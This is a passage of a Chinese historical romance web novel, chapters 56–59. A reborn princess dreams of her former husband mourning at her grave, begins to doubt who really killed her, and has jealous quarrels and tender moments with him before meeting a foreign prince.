晋王嘴唇翕动,还想说什么,可对上嘉平帝冰冷彻骨的眼神,他知道,事情已经到了毫无转圜余地的地步。 此时此刻,任何求情都只会火上浇油,让嘉平帝更加震怒,甚至可能牵连整个晋王府。 处置完姒明渊,晋王离去后,嘉平帝脸上的厉色稍缓,转头看向床上已为着皇后的姒华欢,语气比刚刚放柔了些: “蓁蓁,父皇知道你还委屈。那孽障毕竟是宗室子弟,父皇要他的命还是有些难办。不过,你若是觉得三十鞭太便宜了他,等他养好这顿打,父皇寻个由头,再把他拎出来打一顿,你看可好?” 姒华欢听着嘉平帝这护短到不讲理的话,终于破涕为笑:“谢谢父皇!有父皇给儿臣做主,儿臣就不委屈了!” 当众鞭刑三十,再加上褫夺世子之位,是双重打击和羞辱,对于姒明渊那种极度看重面子和权势的人来说,比杀了他还难受。 从今以后,姒明渊不再是高高在上的晋王世子,而是一个被皇帝厌弃,失去继承权的罪人。 京城这个最讲究权势和脸面的地方,那些惯会踩高捧低的人绝不会放过他。明里暗里的冷嘲热讽、鄙夷、排挤,将会伴随他往后余生,这可比单纯的皮肉之苦要折磨人千百倍。 他这辈子,都别想再在京城权贵圈子里抬起头做人了。 ***** 尽管喝下了驱寒的姜汤和汤药,姒华欢到底体弱,在暴雨中淋了太久,又受了极大的惊吓,邪寒终究还是侵入了她的体内。 她觉得浑身发冷,任凭锦被如何包裹,也无法变暖。原本苍白的脸颊泛起不正常的潮红,呼吸也变得灼热起来。 睡在一旁的谢昀本就惊醒,或者说根本未曾深睡。在她发出几声不适的嘤咛时,便立刻察觉到异样,睁开眼,借着昏暗的灯光,只见姒华欢缩在被子里微微发抖,秀气的眉毛紧紧蹙着。 他伸手探向姒华欢的额头,触手一片滚烫。 果然还是发热了。 他心一沉,扬声唤姚黄去煎药。 江鹤舒料到今晚姒华欢大概率会发热,已经提前写好方子抓好药,随时可煎药。 等待中,姒华欢似乎陷入了昏沉迷糊的境地,含糊不清地呓语:“冷……好冷……” 谢昀看着她身上已经盖了两床的被子,想了想,掀开姒华欢紧裹的锦被一角,钻了进去。 他伸出长臂,将姒华欢不断颤抖的滚烫身躯揽入了自己怀中。 “你干什么……” 面对这突如其来的亲密接触,姒华欢本能地想推开他,抬手却隔着寝衣摸到了他壁垒分明的腹肌。 姒华欢动作顿了顿,感受了一下,没有再推开他—— 作者有话说:让女鹅吃点好的补一补 第56章 他为什么哭? “你发热了, 很冷是不是?我抱着你,暖和一点。”谢昀在她耳边低声安抚。 他的怀抱温暖而坚实,如同一个天然的火炉, 散发着令人心安的热度。 她不由自主向他怀里更深地依偎过去, 滚烫的脸颊贴着他颈侧的皮肤,额头抵着他的下颌, 整个人完全嵌入了他的怀抱之中。 她紊乱灼热的呼吸拂过他的锁骨, 谢昀身体有瞬间的僵硬, 随即又缓缓放松, 任由她像只寻求庇护的小兽般蜷缩在自己怀里。 他调整了一下姿势,让她枕着自己的手臂,能睡得更舒服些, 另一只手则轻轻拍着她的后背,如同安抚婴孩。 怀中的人儿不再喊冷, 颤抖也渐渐平息, 呼吸也逐渐变得均匀绵长, 迷迷糊糊蹭了蹭他的颈窝,终是沉沉地睡了过去。 谢昀低头,借着摇曳的烛光,看着她终于安稳的睡颜, 心中充满了心疼,同时还生出一丝满足感。 他从未与她如此亲密地同床共枕, 即使是他们第一次那晚, 也是混乱的。不像此刻,她如此依赖地躺在他怀中,甚至主动环上他的腰。 他又收紧了些手臂,将她更密实地拥在怀中, 仿佛抱着世间最珍贵的宝物。 姒华欢再次睁开眼,首先感受到的是身上的轻松。没有高烧的滚烫,没有疲惫的酸痛,所有的不适都消失了。 视野清晰起来,她这才发现,自己依旧身处皇陵,正是她上次梦境戛然而止的地方。 这梦居然还能续上? 谢昀依旧身着玄色常服,背对着她,肩膀还在微微耸动。 姒华欢无语地翻了个白眼,心里一阵烦闷。 好不容易因为这些时日的相处,让她对谢昀稍有改观,对他积累的厌烦和恨意消散了些,怎么又梦回这糟心的一幕了?是提醒她不要忘记前世的血仇吗? 她习惯性地想往前迈步,上前“打”他几下,脚步已经迈出一步才想起来上次自己被无形的屏障弹回。她做好了被弹飞的准备,却惊奇地发现,这一次,她的步子竟然顺畅地迈了出去,毫无阻碍! 她竟然能行动自如了? 姒华欢心中惊诧,快步走到谢昀面前,她倒要看看谢昀此刻有多嚣张。 然而当她绕到正面,看清谢昀此刻的模样时,整个人瞬间僵在原地,脑子一片空白。 他并没有在笑,而是在……哭。 眼前的谢昀,状态糟糕到了极点。 憔悴,狼狈,了无生气。 原本俊朗飞扬的面容此刻苍白得没有一丝血色,眼眶通红,眼中布满了血丝,泪水不断从中涌出,顺着脸颊滑落,在地上洇开一小片一小片的深色湿痕。 他比之前消瘦了太多,宽广的肩膀随着压抑的哭泣微微颤抖,高耸的鼻梁连着紧皱的眉头,哭到脖颈间的筋脉都泛起红色。 姒华欢从未见过这样的谢昀。 不,或许应该说,她从未想象过谢昀会有这样的一面。 在她的记忆中,谢昀从来没有哭过。 他为什么哭? 为……她而哭吗? 这让姒华欢感到荒谬和难以置信。 他不是杀了她吗?他不是应该志得意满,或者至少无动于衷吗?为何会在她的碑前,在所有人离开后,哭得如此……肝肠寸断? 她无法理解,更想不通。于是索性在他面前的空地上坐了下来,就这样静静地看着他哭。 即使是听不到声音,姒华欢也仿佛可以听见他的哭声。不是嚎啕大哭,一定是低低的哭声,甚至可以说是压抑的。 姒华欢不知道自己看了多久,时间在梦境里失去了意义。 她只是看着,看着他的眼泪像是流干了,眼眶通红,眼神空洞,整个人透着一片死寂。 她的心口像是被什么东西狠狠撞了一下,闷闷的,涩涩的,诧异的心情被一种更为复杂的情绪取代。 她想起今天下午,谢昀随父皇去狩猎前,骑着高头大马,在阳光下朝她挑眉示意的那一幕。 那时的他,是何等的意气风发,神采飞扬,是鲜活的,骄傲的,似是天地间所有的光华都汇聚在他一个人身上。 可眼前这个人,阴郁,消沉,麻木,被抽走了所有生气,随时都会崩溃毁灭。 他不该变成这样的。 他谢昀,堂堂明安侯,骠骑大将军之子,文武双全,天之骄子。手上沾了她的血,更是该活得风生水起,而不是像现在这样,像一具行尸走肉。 他为什么会因为她死了,就难过成这个样子? 难道是后悔杀她了? 可是为什么呢?他们前世不是死对头吗?他不是恨不得她消失吗? 是在她死后,发生了什么她不知道的变故吗? 姒华欢心急如焚,她想知道答案,想知道后续。 她进入这梦境的时间是有限的,上一次就没能探寻到更多信息,好不容易梦到一次,眼看着谢昀就这么枯坐着,明知他听不见,还是忍不住催促: “你快哭完,哭完就赶紧走啊!换个地方!再拖下去我就要醒了!我还有别的事想知道呢!” 可谢昀根本感知不到她的存在,也听不到她的焦急,依旧像尊石像般呆坐不动。 姒华欢急得直跺脚也无用,只好无奈继续坐在他对面,就这么看着他。 不知又过了多久,谢昀终于动了,姒华欢一喜,准备跟着到下一个场景去。 然而谢昀空洞的目光微微动了一下,缓缓转向了她所在的方向。 姒华欢吓了一跳,瞬间从地上弹了起来,脱口而出:“你能看见我?” 谢昀没有回答。他的目光穿透了她虚幻的身体,落在了她身后那块冰冷的碑上。 然后,姒华欢在梦里,第一次听到了声音。 谢昀的嗓子哑得不成样子,像是被砂石磨过,虚无缥缈间带着无垠的祈求:“你恨我的话……就带我一起走吧。” 姒华欢彻底愣住了。 他是在……求死? 为什么? 巨大的震惊和混乱席卷了她,这句话在她耳边反复回荡,同时另一道清朗的声音也传入她耳中,声音由远及近,越来越清晰…… “姒华欢……姒华欢?醒醒……” 姒华欢猛地睁开眼,视线聚焦,首先映入眼帘的,是谢昀近在咫尺,明显担忧的俊脸。 她发现自己依旧被他抱在怀里,自己的双手还无意识地紧攥着他的里衣。 脸上有些凉意,她抬手去摸,却触到了他温热的手指。谢昀正用指腹,极其轻柔地擦过她眼角和脸颊的濡湿。 她在梦中哭了。 “还难受得厉害吗?是身上还疼?我去叫江鹤舒。”他说着,作势就要起身。 姒华欢怔怔地看着他。眼前的谢昀依旧鲜活,与梦中那个破碎绝望的男人截然不同。 姒华欢心中百感交集,第一个冒出来的念头竟然是—— 还好,他还是这个样子。 一种难以言喻的酸楚和庆幸交织在心头。她忽然伸出手,环住了他劲瘦的腰身,将脸埋进了他温暖结实的胸膛,用力蹭了蹭,把未干的泪水都抹在了他的里衣上。 谢昀身体微微一僵,随即放松下来,抬手轻轻抚摸着她的后脑和长发,低声问:“做噩梦了?” 姒华欢在他胸前蹭了蹭,闷闷地“嗯”了一声,带着浓重的鼻音。 头顶传来他低低的笑声,胸腔传来轻微震动:“别怕,梦都是反的。” 姒华欢摇头,眼泪流得更凶了。 才不是反的,只有她知道,那就是真实发生过的。 谢昀的手轻抚着她的后背给予安慰,过了一会儿,问道:“那梦到什么了?可以告诉我吗?” 姒华欢抬起头,眼圈和鼻头都还红红的,像只委屈的小兔子。她吸了吸鼻子,看着他的眼睛,轻声说:“梦见……我死了。” 谢昀抚摸她头发的手顿了一下,随即又恢复如常,语气笃定:“不会的,胡说。你会长命百岁的。” 姒华欢闻言,扯了扯嘴角,轻哂:“江老太医都不敢说这种话。” 谢昀沉默了片刻,没有反驳,只是将她重新拥紧,下巴轻轻抵着她的发顶,格外认真道:“不会的,别乱想。” 姒华欢没有再说话,只是任由他抱着。 过了好一会儿,谢昀突然开口问:“在梦里,你是怎么……死的?” 怎么死的?被你杀死的。 这句话在姒华欢舌尖滚了滚,最终还是被她咽了回去。 现在告诉他,除了引发不必要的猜疑和混乱,又能改变什么呢?难道要他此刻就为这一世还未发生的事愧疚痛苦吗? 她默了片刻,反问道:“你问这个做什么?” 谢昀抱着她的手臂紧了紧,“防患于未然。” “你不是不信,说梦都是反的吗?”姒华欢轻笑,“如果我是喝粥不小心呛死的,难道你这辈子都不让我喝粥了?” 谢昀想都没想,回答:“嗯。” 姒华欢:“……” 她有些无语,又觉得有点好笑,抬起头看他:“那我要是睡觉的时候死的呢?是不是以后连觉都不能睡了?” 谢昀低下头,眉头微蹙,语气竟然是认真的:“真的吗?” 姒华欢轻嗤一声打断他:“当然是假的!” 她不想在这个危险的话题上纠缠下去,生怕他再追问什么,便干脆说道:“我没梦到是怎么死的,就只梦到我死了。” 谢昀深深地看了她一眼,那眼神复杂难辨,看得出并不完全相信她的话,但他没有再追问,只是将她更紧地拥入怀中,力道大得险些让她喘不过气。 “松手……”姒华欢拍打他的腰,“我要先被你勒死了!” 谢昀这才恍然,赶紧松开手臂,紧张地看着她:“弄疼你了?” 两人此刻都只穿着单薄的寝衣,在床榻上相对而视,加上这糟糕的对话,空气突然变得有些……暧昧和尴尬。 姒华欢的脸颊后知后觉地开始发烫,有些不自在地别开眼,抬起脚,不轻不重地踹了他一下:“下去!我要洗漱了!” 挨了一脚,谢昀先是一愣,看着她泛红的耳尖和故作凶悍却没什么威慑力的模样,眼底缓缓漾开一抹笑意,染上眉梢。 他非但没下去,反而故意凑近了些,压低声音,带着点戏谑:“利用完了就赶人?公主殿下,过河拆桥可不是好习惯。” 姒华欢瞪他:“谁利用你了,是你自己……你快下去!” 看她又灵动起来,谢昀心中那片因刚刚那番关于生死的沉重对话而笼罩的阴霾,终于散去了些许。 他不再逗姒华欢,翻身下床,披上外袍,“我叫姚黄和魏紫进来。” 姒华欢抱着锦被在床上注视谢昀的背影,心情复杂。 梦中的谢昀,和眼前的谢昀,到底哪个才是真正的谢昀呢?—— 作者有话说:抱歉,今晚写得很坎坷,修了很多遍,所以来晚了[合十] 第57章 “你为了他凶我?”…… 姒华欢思索了一天, 得出一个结论—— 不用做到最后一步便能梦到前世,只需同床共枕即可。 那么…… 当晚,谢昀躺下后, 姒华欢主动侧过身, 伸出手臂,有些笨拙地环住了他的腰, 然后将脸埋在他颈窝。 怀中突然撞入温香软玉, 鼻腔内充斥着淡淡的馨香, 谢昀的身体有片刻的僵硬。 他沉默了片刻, 黑暗中,他的嘴角无法控制地向上扬起一个弧度。 空气安静地诡异,姒华欢强装镇定, 找了个蹩脚的理由:“……有点冷。” 谢昀回抱住她,用侧脸贴上她的额头, 感受了一下, 似乎没有发热。 秋日里入夜是有些凉, 他没多想,心中暗爽,只觉得今晚的月色都格外温柔。他又调整了一下姿势,让她抱得更舒服些。 姒华欢满心期待着梦境降临, 然而一夜无梦。 她在谢昀温暖安稳的怀抱里睡得异常沉,连个普通的梦都没做, 更别提梦到什么前世了。 第二晚, 姒华欢不死心,觉得可能是姿势不对或者时机不对,他决定再试一次。 谢昀躺下后,他很自然地向姒华欢展开胳膊, 示意她过去。 姒华欢:“……” 这家伙适应的是不是太快了点? 姒华欢挪进他怀里,谢昀在她靠过去时,手臂揽住她的肩,将她往怀里带了带,动作熟练得仿佛练过无数次。 又是一夜好眠到天亮。 连续两晚的失败,姒华欢开始怀疑自己的判断了,难道真的只是巧合? 到了第三晚,谢昀似乎已经将这当成了常态,他洗漱完毕,极其自然地走到床边,躺下,然后非常顺手地将里侧的姒华欢拉进了自己的怀里。 谁知姒华欢却用手肘抵住他的胸膛,一把将他推开,柳眉倒竖,没好气道:“差不多得了啊谢昀,别得寸进尺,咱们没有那么熟。” 谢昀:“?” 谢昀被她突如其来的翻脸弄得一愣,手臂僵在半空,一脸懵圈地看着她。 前两天不是还好好的主动往他怀里钻吗?怎么今天突然就翻脸不认人了? 看着她气鼓鼓的小脸,谢昀反应过来后简直要被气笑了,放下手臂撑起身子,居高临下地看着他:“公主殿下,你这还不是利用完我就丢?前两晚需要我当暖炉的时候,就往我怀里钻,现在身子好些了,不需要了,就一脚把我踢开?” “况且……公主殿下是不是忘了,该做的不该做的咱们好像都做过了吧,还要怎么才算熟?” “你!”姒华欢被他暧昧的说法说得脸轰一下全红了,“不许再说了,闭嘴!” 谢昀看她羞愤欲绝的模样觉得有趣极了,他张开胳膊做出了一个等待拥抱的姿势语气带着诱哄:“可以,那我不说了,你过来。” “想得美。”姒华欢才不肯屈服,脸往被子里一缩,紧紧闭上眼睛赌气道,“你说吧,随便你说什么,我睡着了听不见。” 大有一种“任你风吹浪打,我自岿然不动”的架势。 谢昀她的模样知道威逼是不行了,他眼珠一转换了策略,开始利诱。 “更深露重,夜里凉得很,被子哪有我暖和?你前几日才发过热,身子还虚着,万一再反复发热怎么办?过来,我帮你暖着。” 姒华欢眼皮动了动,还是没理他。这理由太蹩脚了,营帐里暖炉烧得旺着呢。 见利诱也不行,谢昀的语气忽然变得有些低沉:“好,是我需要你可以了吧?我既然帮了你作为回报,你也得帮帮我吧?” 此话一出,姒华欢睁开了眼睛,紧紧蹙起眉头…… “谢昀,你少在这里说这种话恶心我了。”姒华欢炸毛道,“能帮本公主是你的福气,你还敢要求回报?” 谢昀一挑眉:“不仅要回报,我还要花息呢。” 姒华欢脑中蹦出来一些嗯嗯啊啊的画面,裹好被子瞪谢昀:“谢昀!你想什么呢!” 见她两颊坨红,谢昀忍俊不禁:“用你想的那种也行。” “我、我什么也没想啊,你想到哪去了!”越解释越显得她心虚,于是她干脆转身,闷声道,“我睡着了。” 谢昀轻笑:“世上可是有什么睡着的人便不能动的规矩?” 姒华欢恼道:“你若再得寸进尺,明日就不让你进帐了!” 她这样一说,谢昀果然闭嘴了。 ***** 这日,天气晴好,姒华欢觉得在帐中闷得慌,便带着焦焦在营地外围慢慢散步。秋日阳光和煦,洒在身上暖融融的,驱散了些许病后的虚弱。 她的思绪却不似天气般明朗,满脑子都是那晚梦中谢昀恸哭的模样,不知怎的,心中酸涩,连带着指尖都微微发麻。 他起兵谋反,在宫门前射杀她是她亲眼所见,是板上钉钉、辩无可辩的事实,这是横亘在她心头最大的一根刺。 可从他在梦中的表现来看,就算是后悔,也不会悔得那般痛彻心扉吧? 结合谢昀并未称帝来看,姒华欢脑中突然灵光一现—— 难道逼宫另有隐情,那致命的一箭也不是他下令,甚至不是他授意的呢? 这样一想,之前梦境中的困惑便都迎刃而解。 当时城楼之上乱成一团,流矢横飞。谁会趁那样的混乱,专门瞄准她这个并无实际威胁的公主? 那一箭精准狠辣,分明是冲着要她性命来的。 或许她的梦与此人有关吗? 除了谢昀,她莫名看到的两个人,便是林珩和桑进。不过她与这二人在前世没有任何交集,他们有什么理由杀她?谢昀又为什么杀他们? 不是他们那会是谁? 她知自己性子骄纵,做事向来率性而为,全凭喜好,从不在意是否会得罪人,细想起来记恨她的人恐怕不在少数。范围太广,她该从何查起? 不知道接下来的梦还会给她什么别的启示? 正想着出神,没留意拐过一处营帐,险些与迎面走来的一人撞上。 “公主殿下恕罪,是微臣冒失了。”一个温和的声音在前方响起。 姒华欢抬头,是林珩。 “林侍郎不必多礼。”姒华欢收敛心神,微微颔首。 林珩直起身,目光落在她裹着细布的手上,关切道:“听闻公主前日不慎坠马受伤,不知伤势可好些了?” “已无大碍,只是些皮外伤,将养几日便好。”姒华欢淡淡回应。 林珩点了点头,似是松了口气,随即轻叹一声:“公主无事便好。没想到长宁郡主姐弟二人行事竟如此……不顾后果。” “说来惭愧,舍妹妙晴从前与长宁郡主走得近些,臣作为兄长,日后定当多多劝诫引导,让她明辨是非。” 姒华欢自然知道姒明渊那头蠢猪归根结底是想为长宁出头,长宁定会因此事更加记恨于她。 但怎么突然提到林妙晴了?是提醒她提防长宁和林妙晴报复她? 对他们之间的关系来说,林珩似乎有些交浅言深了。 不过总归他也是好心,姒华欢并未深思。 这时,一个冷冽的声音插了进来,带着明显的不悦:“林侍郎倒是清闲,还有工夫在此与公主闲聊。” 谢昀不知何时走了过来,脸色不太好看,眼中的酸意和敌意几乎不加掩饰。 面对谢昀的冷脸,林珩神色不变,依旧从容,甚至还微微笑了笑,对他行了一礼:“下官见过明安侯。下官不过是偶遇公主,问候一句罢了。” 谢昀可不买他的账,冷哼一声:“偶遇?营地这么大,路径繁多,林侍郎倒是总能巧得很‘偶遇’公主。” 这话已是相当不客气,就差指着鼻子说林珩别有用心了。 林珩面露困惑,对着谢昀回话,视线却转向了姒华欢:“明安侯此言……恕下官愚钝,不知是何处言行不当,得罪了侯爷?若有不妥之处,还望侯爷明示。” 他姿态放得很低,却分明就是在暗示谢昀无理取闹。 姒华欢看着谢昀那副咄咄逼人的样子,再对比林珩的温文有礼,心下觉得谢昀此行毫无道理,未免太过失礼。 她略蹙眉头,看向谢昀,不满道:“谢昀,你干什么?林侍郎不过是关心我的伤势,闲聊两句,你说话何必如此阴阳怪气?” 谢昀被她这话一堵,简直不敢相信自己的耳朵。 她居然为了别的男人,一个外人,反过来指责自己! 谢昀胸口那股闷气更堵了,难道她看不出来林珩是在挑拨他们夫妻关系吗? 他张了张嘴,想说什么,却又觉得说什么都像自己在无理取闹,只会让林珩达到目的。最终只是狠狠瞪了林珩一眼,把话咽了回去。 林珩眼底极快地掠过一丝几不可察的笑意,对着姒华欢和谢昀拱手:“既然明安侯有事要与公主相商,下官便不便打扰了,先行告退。” 说罢,他姿态优雅地转身离开。 等他走远,谢昀立刻转向姒华欢,质问道:“你为了他凶我?” 姒华欢不知道他怎么回事,今日无缘无故对林珩也发脾气,现在还对她发脾气,简直不可理喻。 “谢昀,你别这么矫情行不行?我不过就是和林珩在路上碰见了,随口说两句话,你一来就鼻子不是鼻子,眼睛不是眼睛的。” “我矫情?”谢昀气结,“这营地这么大,有许多条路可以走,他怎么就偏偏又与你‘偶遇’上了呢?一次是巧合,两次三次呢?他分明是别有用心。” “什么叫‘又’?”姒华欢也来了火气,“你到底在闹什么?林珩他得罪你了?” 看她全然不解,甚至觉得自己在无理取闹的模样,谢昀只觉得胸口愈发堵。他幽怨地深深看了姒华欢一眼,竟一句话也不再说,转身大步流星地走了! 走了没几步,又返回来,夺过她手中的绳子,牵走了焦焦。焦焦不懂他们之间发生了什么,一步三回头。 姒华欢空着手站在原地,目送一人一狗就这么走了,只觉得莫名其妙,一头雾水。 谢昀恨铁不成钢地回了营帐。 他以为经过这些时日的相处,尤其是她遇险后的依赖,加之她的亲近,他们之间的关系已然不同。 可今日这一幕,简直像是兜头一盆冰水,将他的欣喜浇得透心凉。 在她心里,他到底算什么?难道还比不上一个虚情假意的林珩? 谢昀深吸一口气。想要让他们之间的关系继续朝着好的方向发展,他必须先解决掉眼前这个碍眼的林珩。 林珩此人,表面温良,实则心思缜密,在朝中左右逢源,绝非善类。他屡次接近姒华欢,绝不仅仅是巧合。 若他只是想挑拨他们夫妻关系,自己上位,做得还远远不够。他定有别的不可告人的目的。 谢昀手上慢慢摸着焦焦的毛。 待回京之后,他有的是时间和手段,好好“照顾照顾”这位林侍郎,让他没有闲心想那些不该想的—— 作者有话说:谢昀:打响爱情保卫战第一枪 第58章 难道他……喜欢她吗?…… 自秋猎结束回京过后, 若是不用上早朝,谢昀总会雷打不动的,在早上时分出现在主院的花厅, 问就是蹭饭。 起初姒华欢自是不同意, 每每让他走,可谢昀的脸皮厚度显然超出了她的预估, 总有办法赖着不走, 最后如愿坐在她的餐桌上。 次数多了, 姒华欢也懒得再费口舌去管。 反正多他一个也不算多, 看着他那张脸似乎也没以前那么讨厌了,同桌用膳而已,便由他去了。 这日清晨, 姒华欢洗漱完毕,来到花厅, 等着传早膳, 却罕见地没见到那个熟悉的身影, 只有侍女们有条不紊的布着菜。 姒华欢执起银箸,顿了顿,状似随意地问身旁的魏紫:“他呢?” 魏紫自然知道这个“他”指的是谁,回道:“回殿下, 侯爷一早便出府了,吩咐过不必等他用早膳。” 姒华欢“哦”了一声, 低下头, 小口小口喝着碗里的燕窝。 谁要等他?不来正好,乐得清静。 用过早膳,她照例去后院寻焦焦玩。 自秋猎焦焦英勇找到她后,她看这只圆滚滚的大肥狗越看越顺眼, 每日都要陪它玩上一会儿。 走进焦焦的院子,就见陶总管正拿着焦焦专用的食盆,仔细给它拌着肉糜和蔬菜。 陶总管见是姒华欢,放下食盆,行礼:“老奴参见公主殿下。” “不必多礼。”姒华欢摆摆手,走到焦焦身边,揉了揉它毛茸茸的大脑袋,想了想,随口问道,“谢昀这一大早,就去大理寺了?” 陶总管脸上露出一个了然又带着点神秘的笑容:“殿下,今日侯爷休沐,没去衙门,也没进宫,还能去哪儿?又去慈云寺了呗。” 慈云寺?“又”去了? 这个“又”字让她想起为国祈福那日,他们在慈云寺遇到的那个小沙弥说的话——谢昀总去找净空大师算姻缘。 当时她还嗤之以鼻,笑他恨嫁。可他们眼下成了亲,虽然是表面夫妻,但他身为大越驸马还去算什么姻缘?难道是他心里有了人,想去求个结果? 不知怎的,姒华欢感觉空气有些憋闷。 她忍不住追问:“又去?他常去慈云寺吗?去做什么?” 陶总管没多想,依旧笑呵呵的,答道:“侯爷啊,成亲前就常去,几乎隔段日子就要跑一趟。这成了亲后,去的次数倒是少了。” 姒华欢沉默下来。 陶总管立刻意识到自己说的话有歧义,连忙找补:“殿下别误会,侯爷此去,是为了给公主求平安的。” 为她求平安? 姒华欢愣住了,心情一时复杂难言。 这一世不知从什么时候开始,好像很多事情都脱离了原来的轨迹。 谢昀非但没有如她最初所想的那般,巴不得她死,反而还在暗中为她祈求平安顺遂? 这和她认知中的谢昀,和她所以为的他们之间的关系,截然不同。 她下意识地不愿相信,或者说不知道该如何面对这种转变。 她抿了抿唇,低声嘀咕道:“慈云寺一点也不准……去了也是白浪费时间。” 陶总管笑道:“依老奴所见,那净空大师还是很准的。殿下不知道,当初侯爷拿了殿下和他的八字,前前后后去合了不知道多少次。每次净空大师都说八字相冲,乃是怨偶,强行结亲,恐有灾厄。” 姒华欢心中一跳,看向陶总管。 陶总管叹了口气,继续道:“可侯爷他就是不信邪啊,隔三差五就去问,非要问出个转机来不可。许是诚心感动了佛祖吧,直到最后一次侯爷再去时,净空大师终于改了口,说变了,殿下与侯爷的命格有所转变。八字乃是相生相成之相,上等姻缘,佳偶天成。侯爷得了这话才像吃了定心丸,马上便去找陛下赐婚了。” 姒华欢彻底怔住了。 谢昀娶她不是因为想恶心她,不是为了让她不痛快? 原来在那之前,他竟为此跑了那么多趟慈云寺,只为执拗求得一个八字相合的批语? 难道他……喜欢她吗? 这个念头一冒出来就被姒华欢否定了。 不可能,绝对不可能,他亲口否认过的。 赐婚那日她明明问过他,不会是喜欢她吧。他当时怎么回答的?他嗤笑一声,语气嘲讽地说她自作多情。 她真的有点不懂他了。 ***** 午后的阳光暖融融洒在室内,姒华欢躺在窗边的软榻上小憩,身上盖着一条薄薄的毯子。 迷迷糊糊间,她察觉到身边有人靠近。那气息很熟悉,带着她已然习惯的白兰清香。 是谢昀。 他不知道什么时候回来的,正站在榻边,微微俯身,动作极轻柔地往她枕边塞着什么东西。 姒华欢睫毛颤了颤,睁开惺忪的睡眼,映入眼帘的果然是谢昀那张俊朗的脸。 见她醒来,他微微怔了一下,随即神色无常,伸手在她发顶轻轻摸了两下,语气温柔:“吵醒你了?继续睡吧。” 姒华欢却没有依言闭眼,而是伸手往枕头下一摸,摸到了一个用黄色绢布裹着,叠成三角形状的东西,散发着淡淡香火气息。 她举到眼前仔细看了看,抬眼看向谢昀:“这是……?” 谢昀眸光微动:“没什么,在慈云寺给你求的平安符。” 他语气自然得仿佛这是再寻常不过的事情。 姒华欢是睡不着了,仰头看着他:“你为什么要给我求这个?” 为什么? 谢昀是被她前些日子几次三番提及死亡,甚至在噩梦中惊醒,在他怀中哭诉自己死了的样子给吓到了。 那种仿佛随时会失去她的恐慌,让他坐立难安。所以今日休沐,他才特意一早去了慈云寺,虔诚地跪在佛前,求了这枚平安符。 他只愿她此生平安顺遂,无灾无难,长命百岁。 但他自然不会这么说,只是看着姒华欢,目光深邃:“没有为什么,就是想要你平安。” 如此简单,却又如此沉重。 姒华欢的心像是被什么东西狠狠撞了一下,垂下眼睫,避开他的目光,低声道:“你知道的,我不信这些。” “我知道。”谢昀的声音很平静,“所以我去替你求。” 所以你不信没关系,我信。你不在意生死,我在意。我去求神明庇佑,我去做我能做的一切,只盼你岁岁平安。 姒华欢握着平安符的手指微微收紧,她不知道该说什么,心中百感交集,有困惑,有动摇,还有一些她说不清道不明的感觉。 若是真想平安,光靠这平安符恐怕是没用的。她得跟随梦的指引,靠自己,查出前世的真相,揪出那个真正想置他于死地的人。 唯有如此,她或许才能摆脱那既定的命运,真正求得这一世的平安。 ***** 时值金秋,大越朝迎来了一年一度的千秋宴。 皇帝寿辰,谓之“千秋”。每逢圣辰,万国来朝。 周边藩属国、有邦交的异域国度、来自远在万里之外的西方使团,都会携奇珍异宝、地方物产,不远千里前来朝贡。恭贺大越皇帝,万寿无疆,国祚绵长。 每每此刻,京城的长街上总会格外热闹。姒华欢在府中待得闷了,便带了姚黄和魏紫,兴致勃勃去街上凑凑热闹。 长街上果然人声沸腾、摩肩接踵,来自不同国度的商人、使节、艺人混杂在熙攘的人流中。各种奇装异服、南腔北调交织在一起。 路边摊贩叫卖着流光溢彩的琉璃器、香气奇异的香料、毛色稀罕的皮草、还有会学人说话的鹦鹉、能歌善舞的胡姬……令人眼花缭乱,一派太平极乐之相。 姒华欢沿着街市慢慢逛着,对那些精巧奇特的玩意儿颇感兴趣。 行至一处摊位时,她看到、摊子上摆着一些造型别致的银饰,上面镶嵌着色彩斑斓的宝石,纹路古朴,与她平日所见的中原首饰风格迥异。不由心生好奇,俯身拿起一枚镶嵌着湛蓝色石头,形似弯月的额饰,仔细端详起来。 那宝石在秋日阳光下折射出幽深的光芒,仿佛在其中蕴藏一片星空。 就在她凝神细看之时,不远处忽然传来一阵急促杂乱的马蹄声,伴随着有人惊恐的高呼:“闪开!快闪开!马受惊了!控制不住!前面的快躲开!” 人群顿时一片骚动,惊叫声四起,纷纷向道路两旁躲避。 姒华欢闻声,下意识转头去看发生何事。然而那马蹄声来得实在太快太急,眨眼间道工夫便已冲到近前,带着一股凌厉的劲风,眼看就要撞上她所在的小摊。 她来不及做出任何反应,只觉得腰间猛然一紧,一股强大的力道传来,眼前景物瞬间天旋地转。 待她反应过来,双脚已然离开原地,稳稳落在旁边安全的地方。 惊魂未定的姒华欢抬起头,想看清救了自己的人。 映入眼帘的,是一张极其俊美的脸庞。 眼前男人身材高大,比她高出一个头还不止。肤色雪白,五官深邃而浓郁,鼻梁高挺,眼窝深邃,眼睛是罕见的蓝绿色。 他的墨发并未完全束起,一部分编成细小的发辫,缀着小小的绿松石和特别的银饰,其余则披散在肩头,为他本就出色的容貌更添了几分野性不羁的风情。 男人显然也愣住了,那双碧色的眸子一瞬不瞬盯着姒华欢的脸,一时竟忘了松开环在她腰间的手,就这么保持着环抱的姿势,目光灼灼地看着她。 “大胆,还不快放开公主!” 一旁的魏紫最先从震惊中回过神来,见这陌生男子竟敢如此无礼地抱住公主,立刻上前一步厉声呵斥。 男人被这声呵斥惊醒,这才松开了环在姒华欢腰间的手臂,后退半步,目光却依旧停留在姒华欢脸上,用略带生硬却并不难听的大越官话问道:“公主?你是哪位公主?” 魏紫见他已知公主身份却仍为行礼,更是气恼,柳眉倒竖:“既知是公主殿下,还不快行礼参见!” 男人闻言非但没有惶恐,反而唇角微勾。 他动作略显生疏却姿态优雅地行了一个大越的拱手礼。 那气度风华,绝非普通商旅,或寻常使节所能拥有。 “是我失礼,惊扰公主。” 姒华欢此刻已定下心神,理了理微微有些凌乱的衣裙,抬眸看着眼前这个气质非凡的异域男子,开口问道:“你是?” 男人直起身,见她主动询问,脸上露出了一个更加迷人的微笑,一双漂亮的眼睛如同盛满阳光的湖泊。 他再次微微欠身,用富含磁性的声音道:“乌兰国二王子,阿史那卡伊,方才情急之下多有冒犯,万望公主海涵。” 第59章 古丽公主 千秋宴当日, 姒华欢从午后便开始准备,沐浴、熏香、梳妆、更衣,足足折腾了好几个时辰。 她今日穿着一身正红色金线绣鸾凤的宫装, 层层叠叠的裙摆迤逦曳地。头梳高寰髻, 簪着赤金镶红宝石头面,额间贴着精巧的花钿, 妆容明艳, 雍容华贵, 气度非凡。 收拾妥当, 她来到府门外等候的马车旁等谢昀。 